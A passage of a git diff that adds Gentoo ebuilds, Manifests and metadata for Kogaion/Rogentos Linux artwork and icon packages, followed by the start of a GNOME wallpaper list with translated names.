+RESTRICT="binchecks strip"
+
+src_prepare() {
+	if use branding; then
+		cp -r fdo-icons-rogentos/* ${PN} || die "Rogentos branding failed"
+	fi
+}
+
+src_compile() {
+	einfo "Nothing to compile"
+}
+
+src_install() {
+	dodir /usr/share/icons
+	insinto /usr/share/icons
+	doins -r "${WORKDIR}/${PN}" || die "Installing icons failed"
+	dodoc AUTHORS ChangeLog README
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist
+}
+
+pkg_postinst() {
+	gnome2_icon_cache_update
+}
+
+pkg_postrm() {
+	gnome2_icon_cache_update
+}
diff --git a/x11-themes/gnome-colors-common/metadata.xml b/x11-themes/gnome-colors-common/metadata.xml
new file mode 100644
index 00000000..c421ccfa
--- /dev/null
+++ b/x11-themes/gnome-colors-common/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>desktop-misc</herd>
+	<maintainer>
+		<email>pacho@gentoo.org</email>
+		<name>Pacho Ramos</name>
+	</maintainer>
+</pkgmetadata>
\ No newline at end of file
diff --git a/x11-themes/kogaion-artwork-core/Manifest b/x11-themes/kogaion-artwork-core/Manifest
new file mode 100644
index 00000000..51a0eebb
--- /dev/null
+++ b/x11-themes/kogaion-artwork-core/Manifest
@@ -0,0 +1,5 @@
+DIST kogaion-artwork-core-1.tar.gz 12380972 SHA256 1c45251155dbf645decc8018be77e40bfae68c43a149a16cee707a33cd99f27d SHA512 64f1c8329afd2b93875ebf190fa4d6ffb2651a8a1f3b78a4af06bc6270cadc725569c29eb8484d5224aec10ca7964009a207f2f29eddea61cc2dc0d3fd087d8c WHIRLPOOL 16c23daab95e676ec4480650b112d1d7cc28397dea9386a1c8d266013093fd7008c1d759eb25149aa9fadce116592d6cad021a0bd5888a48665a872236e0b815
+DIST kogaion-artwork-core-2.tar.gz 20713176 SHA256 e492808a0962ed615cc0651a96a753bff740702bebb17c45d0d1875a3313b502 SHA512 a4ffc8839147229114c18dbf0ccbd26dcdd558792613afd87b5544782308a9711a9d17158219eebe81dc4bfed0a57883f2907f3a7817862a98c080ab253461ef WHIRLPOOL c6dfb364b9e369add800e0b9ede3cec18db871fa1dc4d2306160d03977924ca4a505d767a95f8a6628f4a79edeafff1ec801be7ed69b52c9b945760fac2d9a34
+EBUILD kogaion-artwork-core-1.ebuild 1478 SHA256 d7fc2e8eed203c76acef87ee8d27819096505f803530dc0b2b294e54a3e5062f SHA512 2a838c0b84cab0936f973ca837c5fb1823a1f197a2cd44ac1b5b8f9ed473b9323f57f29d89da62ecd62f05bf370cf21c38d25c19267ad9c8735b35fbf6e85a5e WHIRLPOOL c10ae7133c2081426b80ef4e1de99a9667b277e6c192480ae57da70bfe9c09fc8e1dacce4d862efa67cbe1f2291fddf3f6351bbcea236edb2c88bc6b8a36ff5e
+EBUILD kogaion-artwork-core-2-r1.ebuild 1544 SHA256 2f1dbe2b6e03b02fe26ba0173030442ea3db40784c634a00d47fc12af0e4abaa SHA512 a768737026489f5b4e0537468c8c882f4698acaafc1b9c5b219708faa834adf1f3a3259940a9eb3cb1b6f1913e594118da86b5daffe270186e2ff9c443853753 WHIRLPOOL 29726ae177444101478dfe9878db1ba9e55861db750ca8fc471c96c2be59ace41ad770b739c3bcd3c90db82eff0ac9e6c7caacffd06c7d14e4aab975235978c5
+EBUILD kogaion-artwork-core-2.ebuild 1535 SHA256 dbd6ba517cde03cf6cd627fb7e364c270e56cdd10c3b5a71a5f1df9735ae88e4 SHA512 1b2753e78bb6efeeeb3ee93446ff8d9d754b7cd97e60525c3e4431f5817165128ed00dc1cb02f3a3696506d62a3bd0ec5717ffb6f9f6a64e068b3d9c858e7bc4 WHIRLPOOL 6ae741884b577c554dec28f92e26af66ca304cc61703dfac90c5e3f25f894652c4acd7e27ceb18de88ec5ecee4074abd9fee715eca2c0d4c051d94044ae68707
diff --git a/x11-themes/kogaion-artwork-core/kogaion-artwork-core-1.ebuild b/x11-themes/kogaion-artwork-core/kogaion-artwork-core-1.ebuild
new file mode 100644
index 00000000..5cc7cdac
--- /dev/null
+++ b/x11-themes/kogaion-artwork-core/kogaion-artwork-core-1.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit eutils mount-boot kogaion-artwork
+
+DESCRIPTION="Offical Kogaion Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/findutils
+	!<sys-boot/grub-0.97-r22
+"
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	# Fbsplash theme
+	insinto "${S}"/fbsplash
+	dodir /etc/splash/kogaion
+	insinto /etc/splash/kogaion/
+	doins -r "${S}"/fbsplash/kogaion/*
+
+	# Cursors
+	cd "${S}"/mouse/entis/cursors/
+	dodir /usr/share/cursors/xorg-x11/entis/cursors
+	insinto /usr/share/cursors/xorg-x11/entis/cursors/
+	doins -r ./
+
+	# Wallpaper
+	cd "${S}"/background
+	insinto /usr/share/backgrounds
+	doins *.png *.jpg
+	#newins rogentoslinux.png rogentos-nvidia.png
+
+	# Backdrop functionality for Xfce
+	dodir /usr/share/xfce4/backdrops
+	insinto /usr/share/xfce4/backdrops
+	doins *.png *.jpg
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/kogaion-artwork-core/kogaion-artwork-core-2-r1.ebuild b/x11-themes/kogaion-artwork-core/kogaion-artwork-core-2-r1.ebuild
new file mode 100644
index 00000000..5eec54a6
--- /dev/null
+++ b/x11-themes/kogaion-artwork-core/kogaion-artwork-core-2-r1.ebuild
@@ -0,0 +1,60 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit eutils mount-boot kogaion-artwork
+
+DESCRIPTION="Offical Kogaion Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/"${PN}"/"${PN}"-${PV}.tar.gz"
+	# http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz # Temporary Suspended repo
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/findutils
+	!<sys-boot/grub-0.97-r22
+	!x11-themes/sabayon-artwork-core
+"
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	# Fbsplash theme
+	insinto "${S}"/fbsplash
+	dodir /etc/splash/kogaion
+	insinto /etc/splash/kogaion/
+	doins -r "${S}"/fbsplash/kogaion/*
+
+	# Cursors
+	cd "${S}"/mouse/entis/cursors/
+	dodir /usr/share/cursors/xorg-x11/entis/cursors
+	insinto /usr/share/cursors/xorg-x11/entis/cursors/
+	doins -r ./
+
+	# Wallpaper
+	cd "${S}"/background
+	insinto /usr/share/backgrounds
+	doins *.png *.jpg
+	#newins rogentoslinux.png rogentos-nvidia.png
+
+	# Backdrop functionality for Xfce
+	dodir /usr/share/xfce4/backdrops
+	insinto /usr/share/xfce4/backdrops
+	doins *.png *.jpg
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/kogaion-artwork-core/kogaion-artwork-core-2.ebuild b/x11-themes/kogaion-artwork-core/kogaion-artwork-core-2.ebuild
new file mode 100644
index 00000000..84e6c12e
--- /dev/null
+++ b/x11-themes/kogaion-artwork-core/kogaion-artwork-core-2.ebuild
@@ -0,0 +1,60 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit eutils mount-boot kogaion-artwork
+
+DESCRIPTION="Offical Kogaion Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/"${PN}"-${PV}.tar.gz"
+	# http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz Temporray suspended repo
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/findutils
+	!<sys-boot/grub-0.97-r22
+	!x11-themes/sabayon-artwork-core
+"
+
+S="${WORKDIR}/"
+
+src_install() {
+	# Fbsplash theme
+	insinto "${S}"/fbsplash
+	dodir /etc/splash/kogaion
+	insinto /etc/splash/kogaion/
+	doins -r "${S}"/fbsplash/kogaion/*
+
+	# Cursors
+	cd "${S}"/mouse/entis/cursors/
+	dodir /usr/share/cursors/xorg-x11/entis/cursors
+	insinto /usr/share/cursors/xorg-x11/entis/cursors/
+	doins -r ./
+
+	# Wallpaper
+	cd "${S}"/background
+	insinto /usr/share/backgrounds
+	doins *.png *.jpg
+	#newins rogentoslinux.png rogentos-nvidia.png
+
+	# Backdrop functionality for Xfce
+	dodir /usr/share/xfce4/backdrops
+	insinto /usr/share/xfce4/backdrops
+	doins *.png *.jpg
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/kogaion-artwork-gnome/Manifest b/x11-themes/kogaion-artwork-gnome/Manifest
new file mode 100644
index 00000000..06dec990
--- /dev/null
+++ b/x11-themes/kogaion-artwork-gnome/Manifest
@@ -0,0 +1 @@
+DIST kogaion-artwork-gnome-1.0.tar.gz 18006 SHA256 16cd953a390f86549605bb2490248cde921dbe155fbddefecd01ebb7a5e50972 SHA512 0edb6fa823814d7156f4d7e34b76f81e8aeef4513d89e3803466162a6bb68e37af5f2911b75854ef829b8b4b4b5caa742411aea37d3c299f432ea318983996fe WHIRLPOOL 1a01596685d6497e1969077f892a13e9afedda9cc55db52d79410d7adc70cd776f0c5e25550c9a202163733a642a1620ac8ef809699d3ec27fedbe01b8d36db0
diff --git a/x11-themes/kogaion-artwork-gnome/files/gnome-backgrounds.xml b/x11-themes/kogaion-artwork-gnome/files/gnome-backgrounds.xml
new file mode 100644
index 00000000..b965c2fb
--- /dev/null
+++ b/x11-themes/kogaion-artwork-gnome/files/gnome-backgrounds.xml
@@ -0,0 +1,919 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE wallpapers SYSTEM "gnome-wp-list.dtd">
+<wallpapers>
+
+	<wallpaper deleted="false">
+		<name>Circles</name>
+		<filename>/usr/share/backgrounds/Circles_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Blue fuzzy lines</name>
+		<filename>/usr/share/backgrounds/Fuzzy_lines_blue_1.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Fuzzy lines blue</name>
+		<filename>/usr/share/backgrounds/Fuzzy_lines_blue_2.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Fuzzy lines purple</name>
+		<filename>/usr/share/backgrounds/Fuzzy_lines_purple.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Fuzzy lines rainbow</name>
+		<filename>/usr/share/backgrounds/Fuzzy_lines_rainbow.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Blue flame</name>
+		<filename>/usr/share/backgrounds/Kogaion_blue_flame_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Kogaion blue</name>
+		<filename>/usr/share/backgrounds/Kogaion_blue_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Kogaion dark</name>
+		<filename>/usr/share/backgrounds/Kogaion_dark_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Kogaion flame</name>
+		<filename>/usr/share/backgrounds/Kogaion_flame_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Kogaion light 1</name>
+		<filename>/usr/share/backgrounds/Kogaion_light_1.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Kogaion light 2</name>
+		<filename>/usr/share/backgrounds/Kogaion_light_2.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Pacman</name>
+		<filename>/usr/share/backgrounds/Kogaion_pacman_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Stars</name>
+		<filename>/usr/share/backgrounds/Kogaion_stars_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Tricolor flame</name>
+		<filename>/usr/share/backgrounds/Kogaion_tri_flame_wide.png</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Rainbow</name>
+		<filename>/usr/share/backgrounds/Rainbow.jpg</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Sea</name>
+		<filename>/usr/share/backgrounds/Sea.jpg</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Sunset 1</name>
+		<filename>/usr/share/backgrounds/Sunset1.jpg</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Sunset 2</name>
+		<filename>/usr/share/backgrounds/Sunset2.jpg</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		<name>Water</name>
+		<filename>/usr/share/backgrounds/Water.jpg</filename>
+		<options>stretched</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		
+		<name>Blinds</name>
+		<name xml:lang="af">Blindings</name>
+		<name xml:lang="ar">معتم</name>
+		<name xml:lang="bg">Зелен параван</name>
+		<name xml:lang="bn">খড়খড়ি</name>
+		<name xml:lang="ca">Persiana</name>
+		<name xml:lang="cs">Zástěna</name>
+		<name xml:lang="cy">Llen werdd</name>
+		<name xml:lang="da">Persienner</name>
+		<name xml:lang="de">Grüner Fächer</name>
+		<name xml:lang="el">Περσίδες</name>
+		<name xml:lang="en_GB">Blinds</name>
+		<name xml:lang="eo">Verda ventumilo</name>
+		<name xml:lang="es">Persianas</name>
+		<name xml:lang="et">Kardin</name>
+		<name xml:lang="eu">Hosto-pertsianak</name>
+		<name xml:lang="fa">مخفیگاه</name>
+		<name xml:lang="fi">Kaihtimet</name>
+		<name xml:lang="fr">Stores</name>
+		<name xml:lang="fy">Latsjeblinen</name>
+		<name xml:lang="ga">Dallóga</name>
+		<name xml:lang="gl">Persianas</name>
+		<name xml:lang="gu">આંધળાઓ</name>
+		<name xml:lang="he">וילון</name>
+		<name xml:lang="hi">सूरदास</name>
+		<name xml:lang="hu">Lamellák</name>
+		<name xml:lang="it">Solchi</name>
+		<name xml:lang="ja">ブラインド</name>
+		<name xml:lang="kk">Жалюзи</name>
+		<name xml:lang="km">ងងឹត</name>
+		<name xml:lang="ko">블라인드</name>
+		<name xml:lang="lt">Žaliuzės</name>
+		<name xml:lang="lv">Saulainā lapa</name>
+		<name xml:lang="mk">Завеси</name>
+		<name xml:lang="mn">Халхавч</name>
+		<name xml:lang="ms">Buta</name>
+		<name xml:lang="nb">Blendere</name>
+		<name xml:lang="nds">Blind</name>
+		<name xml:lang="nl">Jaloezieën</name>
+		<name xml:lang="nn">Persienner</name>
+		<name xml:lang="pa">ਹਰੀਆਂ ਲਹਿਰਾਂ</name>
+		<name xml:lang="pl">Żaluzje</name>
+		<name xml:lang="pt">Persianas</name>
+		<name xml:lang="pt_BR">Persianas</name>
+		<name xml:lang="ro">Jaluzele</name>
+		<name xml:lang="ru">Жалюзи</name>
+		<name xml:lang="sk">Rolety</name>
+		<name xml:lang="sl">Zavese</name>
+		<name xml:lang="sr">Зелени застор</name>
+		<name xml:lang="sv">Persienner</name>
+		<name xml:lang="ta">பிளிண்ட்ஸ்</name>
+		<name xml:lang="tr">Panjur</name>
+		<name xml:lang="uk">Жалюзі</name>
+		<name xml:lang="vi">Vân</name>
+		<name xml:lang="zh_CN">绿帘</name>
+		<name xml:lang="zh_TW">窗簾</name>
+		<filename>/usr/share/backgrounds/gnome/Blinds.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Blue Marble</name>
+		<name xml:lang="af">Blou albaster</name>
+		<name xml:lang="bg">Синьото кълбо</name>
+		<name xml:lang="bn">নীল মার্বেল</name>
+		<name xml:lang="ca">Marbre blau</name>
+		<name xml:lang="cs">Modrá, nikoliv zelená, koule</name>
+		<name xml:lang="da">Blå marmor</name>
+		<name xml:lang="de">Blauer Planet</name>
+		<name xml:lang="el">Μπλε μάρμαρο</name>
+		<name xml:lang="en_GB">Blue Marble</name>
+		<name xml:lang="eo">Blua planedo</name>
+		<name xml:lang="es">Planeta Tierra</name>
+		<name xml:lang="et">Sinine marmor</name>
+		<name xml:lang="eu">Marmol urdina</name>
+		<name xml:lang="fa">گوی آبی</name>
+		<name xml:lang="fi">Sininen marmorikuula</name>
+		<name xml:lang="fr">La grande bleue</name>
+		<name xml:lang="gl">Bola azul</name>
+		<name xml:lang="gu">વાદળી માર્બલ</name>
+		<name xml:lang="he">גוּלה כחולה</name>
+		<name xml:lang="hi">नीला संगमरमर</name>
+		<name xml:lang="hu">Kék üveggolyó</name>
+		<name xml:lang="it">Terra</name>
+		<name xml:lang="ja">ブルーマーブル</name>
+		<name xml:lang="km">ថ្មម៉ាប​ខៀវ</name>
+		<name xml:lang="ko">푸른 구슬</name>
+		<name xml:lang="lt">Mėlynoji sfera</name>
+		<name xml:lang="lv">Zilā pērle</name>
+		<name xml:lang="nb">Blå marmor</name>
+		<name xml:lang="nl">Blauwe knikker</name>
+		<name xml:lang="pa">ਨੀਲਾ ਸੰਗਮਰਮਰ</name>
+		<name xml:lang="pl">Błękitny glob</name>
+		<name xml:lang="pt">Mármore Azul</name>
+		<name xml:lang="pt_BR">Mármore azul</name>
+		<name xml:lang="ru">Синий мрамор</name>
+		<name xml:lang="sk">Zemeguľa</name>
+		<name xml:lang="sl">Modra frnikola</name>
+		<name xml:lang="sr">Хладно плаветнило</name>
+		<name xml:lang="sv">Blå marmor</name>
+		<name xml:lang="ta">நீல சலவைக்கல்</name>
+		<name xml:lang="tr">Mavi Mermer</name>
+		<name xml:lang="uk">Блакитний мармур</name>
+		<name xml:lang="vi">Trái đất xanh</name>
+		<name xml:lang="zh_CN">蓝色星球</name>
+		<name xml:lang="zh_TW">藍色大理石</name>
+		<filename>/usr/share/backgrounds/gnome/BlueMarbleWest.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Dandelion</name>
+		<name xml:lang="bg">Глухарче</name>
+		<name xml:lang="ca">Dent de lleó</name>
+		<name xml:lang="cs">Chmíří</name>
+		<name xml:lang="da">Mælkebøtte</name>
+		<name xml:lang="de">Löwenzahn</name>
+		<name xml:lang="el">Πικραλίδα</name>
+		<name xml:lang="en_GB">Dandelion</name>
+		<name xml:lang="es">Dandelion</name>
+		<name xml:lang="et">Võilill</name>
+		<name xml:lang="eu">Txikoria-belarra</name>
+		<name xml:lang="fa">قاصدک</name>
+		<name xml:lang="fi">Voikukka</name>
+		<name xml:lang="fr">Pissenlit</name>
+		<name xml:lang="gl">Dente de can</name>
+		<name xml:lang="gu">ડૅન્ડિલિઅન</name>
+		<name xml:lang="he">סביון</name>
+		<name xml:lang="hi">सिंहपर्णी</name>
+		<name xml:lang="hu">Pitypang</name>
+		<name xml:lang="it">Dente di leone</name>
+		<name xml:lang="ja">タンポポ</name>
+		<name xml:lang="ko">민들레</name>
+		<name xml:lang="lt">Pienė</name>
+		<name xml:lang="lv">Pienene</name>
+		<name xml:lang="nb">Dandelion</name>
+		<name xml:lang="pa">ਚਿੱਟੀਆਂ ਤਾਰਾਂ</name>
+		<name xml:lang="pl">Jaskier</name>
+		<name xml:lang="pt">Dente de Leão</name>
+		<name xml:lang="pt_BR">Dente-de-leão</name>
+		<name xml:lang="ru">Одуванчик</name>
+		<name xml:lang="sk">Púpava</name>
+		<name xml:lang="sl">Regratova lučka</name>
+		<name xml:lang="sr">Маслачак</name>
+		<name xml:lang="ta">டேன்டெலியான்</name>
+		<name xml:lang="tr">Karahindiba</name>
+		<name xml:lang="uk">Кульбаба</name>
+		<name xml:lang="vi">Hoa bồ công anh</name>
+		<name xml:lang="zh_CN">蒲公英</name>
+		<name xml:lang="zh_TW">蒲公英</name>
+		<filename>/usr/share/backgrounds/gnome/Chmiri.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Pink Fabric</name>
+		<name xml:lang="bg">Розов плат</name>
+		<name xml:lang="ca">Tela rosa</name>
+		<name xml:lang="cs">Růžová tkanina</name>
+		<name xml:lang="da">Lyserødt stof</name>
+		<name xml:lang="de">Rosafarbener Stoff</name>
+		<name xml:lang="el">Ροζ ύφασμα</name>
+		<name xml:lang="en_GB">Pink Fabric</name>
+		<name xml:lang="es">Tela rosa</name>
+		<name xml:lang="et">Lilla kangas</name>
+		<name xml:lang="eu">Ehun arrosa</name>
+		<name xml:lang="fa">تار و پود صورتی</name>
+		<name xml:lang="fi">Vaaleanpunaista kangasta</name>
+		<name xml:lang="fr">Tissu rose</name>
+		<name xml:lang="gl">Tecido rosa</name>
+		<name xml:lang="gu">ગુલાબી ફેબ્રીક</name>
+		<name xml:lang="he">בד ורוד</name>
+		<name xml:lang="hi">गुलाबी फैब्रिक</name>
+		<name xml:lang="hu">Rózsaszín szövet</name>
+		<name xml:lang="it">Stoffa rosa</name>
+		<name xml:lang="ja">ピンクの布</name>
+		<name xml:lang="ko">분홍빛 천</name>
+		<name xml:lang="lt">Rožinis fabrikas</name>
+		<name xml:lang="lv">Rozā audums</name>
+		<name xml:lang="nb">Rosa stoff</name>
+		<name xml:lang="pa">ਗੁਲਾਬੀ ਮੋੜ</name>
+		<name xml:lang="pl">Różowy materiał</name>
+		<name xml:lang="pt">Tecido Rosa</name>
+		<name xml:lang="pt_BR">Tecido rosa</name>
+		<name xml:lang="ru">Розовая ткань</name>
+		<name xml:lang="sk">Ružová látka</name>
+		<name xml:lang="sl">Rožnato blago</name>
+		<name xml:lang="sr">Ружичаста тканина</name>
+		<name xml:lang="ta">பிங்க் ஃபேப்ரிக்</name>
+		<name xml:lang="tr">Pembe Kumaş</name>
+		<name xml:lang="uk">Рожева тканина</name>
+		<name xml:lang="vi">Vải hồng</name>
+		<name xml:lang="zh_CN">粉色面料</name>
+		<name xml:lang="zh_TW">粉紅織布</name>
+		<filename>/usr/share/backgrounds/gnome/Fabric.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Foot Fall</name>
+		<name xml:lang="af">Voet val</name>
+		<name xml:lang="bg">Сиви стъпки</name>
+		<name xml:lang="bn">পদধ্বনি</name>
+		<name xml:lang="ca">Peus d'aigua</name>
+		<name xml:lang="cs">Dešťové stopy</name>
+		<name xml:lang="da">Våde fodspor</name>
+		<name xml:lang="de">Wassertatzen</name>
+		<name xml:lang="el">Πατημασιές</name>
+		<name xml:lang="en_GB">Foot Fall</name>
+		<name xml:lang="eo">Piedaj ŝpuroj</name>
+		<name xml:lang="es">Gotas de pies</name>
+		<name xml:lang="et">Jalad seinal</name>
+		<name xml:lang="eu">Oinatza</name>
+		<name xml:lang="fa">سقوط</name>
+		<name xml:lang="fi">Jalanpohja pisaroista</name>
+		<name xml:lang="fr">Empreinte de pieds</name>
+		<name xml:lang="gl">Gotas de pes</name>
+		<name xml:lang="gu">ફુટબોલ</name>
+		<name xml:lang="he">טיפות טביעות רגליים</name>
+		<name xml:lang="hi">फुट पतन</name>
+		<name xml:lang="hu">Csepptappancs</name>
+		<name xml:lang="it">Tracce</name>
+		<name xml:lang="ja">足音</name>
+		<name xml:lang="km">Foot Fall</name>
+		<name xml:lang="ko">발바닥 방울</name>
+		<name xml:lang="lt">Vandens pėdos</name>
+		<name xml:lang="lv">Lietus pēdas</name>
+		<name xml:lang="nb">Fotfall</name>
+		<name xml:lang="nl">Druppels</name>
+		<name xml:lang="pa">ਪੈਰਾਂ ਦੇ ਨਿਸ਼ਾਨ</name>
+		<name xml:lang="pl">Krople wody</name>
+		<name xml:lang="pt">Pegadas de Chuva</name>
+		<name xml:lang="pt_BR">Passos</name>
+		<name xml:lang="ru">Шаги</name>
+		<name xml:lang="sk">Chodidlá z kvapiek</name>
+		<name xml:lang="sl">Kapljične stopinje</name>
+		<name xml:lang="sr">Стопе</name>
+		<name xml:lang="sv">Fotavtryck</name>
+		<name xml:lang="ta">அடி சின்னம்</name>
+		<name xml:lang="tr">Ayak İzi</name>
+		<name xml:lang="uk">Падіння ноги</name>
+		<name xml:lang="vi">Giọt nước dấu chân</name>
+		<name xml:lang="zh_CN">脚步</name>
+		<name xml:lang="zh_TW">腳步聲</name>
+		<filename>/usr/share/backgrounds/gnome/FootFall.png</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+		<wallpaper deleted="false">
+		
+		<name>Mirror</name>
+		<name xml:lang="bg">Водно огледало</name>
+		<name xml:lang="ca">Mirall</name>
+		<name xml:lang="cs">Zrcadlení</name>
+		<name xml:lang="da">Spejl</name>
+		<name xml:lang="de">Spiegelbild</name>
+		<name xml:lang="el">Θάλασσα </name>
+		<name xml:lang="en_GB">Mirror</name>
+		<name xml:lang="es">Espejo</name>
+		<name xml:lang="et">Peegel</name>
+		<name xml:lang="eu">Ispilua</name>
+		<name xml:lang="fa">آینه</name>
+		<name xml:lang="fi">Peili</name>
+		<name xml:lang="fr">Miroir</name>
+		<name xml:lang="gl">Espello</name>
+		<name xml:lang="gu">મિરર</name>
+		<name xml:lang="he">מראה</name>
+		<name xml:lang="hi">मिरर</name>
+		<name xml:lang="hu">Tükröződés</name>
+		<name xml:lang="it">Riflesso</name>
+		<name xml:lang="ja">鏡</name>
+		<name xml:lang="ko">거울</name>
+		<name xml:lang="lt">Veidrodis</name>
+		<name xml:lang="lv">Spogulis</name>
+		<name xml:lang="nb">Speil</name>
+		<name xml:lang="pa">ਪਰਛਾਵੇਂ</name>
+		<name xml:lang="pl">Lustro</name>
+		<name xml:lang="pt">Reflexo</name>
+		<name xml:lang="pt_BR">Espelho</name>
+		<name xml:lang="ru">Зеркало</name>
+		<name xml:lang="sk">Odraz</name>
+		<name xml:lang="sl">Zrcalna podoba</name>
